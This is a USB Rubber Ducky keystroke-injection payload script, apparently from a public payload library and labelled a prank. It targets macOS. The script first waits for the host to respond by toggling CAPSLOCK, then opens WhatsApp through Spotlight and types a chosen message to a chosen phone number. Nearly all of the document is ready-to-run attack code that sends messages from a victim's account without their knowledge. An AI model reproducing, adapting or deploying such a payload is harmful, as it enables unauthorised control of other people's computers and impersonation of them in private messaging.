Path: blob/master/payloads/library/execution/Send-WhatsApp-Messages-MacOS/payload.txt
3018 views
REM_BLOCK1#################################################2# #3# Title : Send WhatsApp Messages - MacOS #4# Author : bst04 - Aleff #5# Version : 1.0 #6# Category : Prank #7# Target : MacOS #8# #9#################################################10END_REM111213REM Enter the phone number to which you want to send the message via Whatsapp14DEFINE #PHONE-NUMBER example1516REM Write the message you wish to send17DEFINE #TEXT-MESSAGE example1819EXTENSION DETECT_READY20REM VERSION 1.121REM AUTHOR: Korben2223REM_BLOCK DOCUMENTATION24USAGE:25Extension runs inline (here)26Place at beginning of payload (besides ATTACKMODE) to act as dynamic27boot delay2829TARGETS:30Any system that reflects CAPSLOCK will detect minimum required delay31Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms32END_REM3334REM CONFIGURATION:35DEFINE #RESPONSE_DELAY 2536DEFINE #ITERATION_LIMIT 1203738VAR $C = 039WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))40CAPSLOCK41DELAY #RESPONSE_DELAY42$C = ($C + 1)43END_WHILE44CAPSLOCK45END_EXTENSION4647REM Another pinch of delay in accordance with https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready48DELAY 2004950GUI h51DELAY 15052GUI SPACE53DELAY 15054BACKSPACE55DELAY 50056STRINGLN WhatsApp57DELAY 150058GUI f59DELAY 50060STRINGLN #PHONE-NUMBER61DELAY 25062DOWNARROW63DELAY 25064DOWNARROW65DELAY 25066SPACE67DELAY 25068STRINGLN #TEXT-MESSAGE697071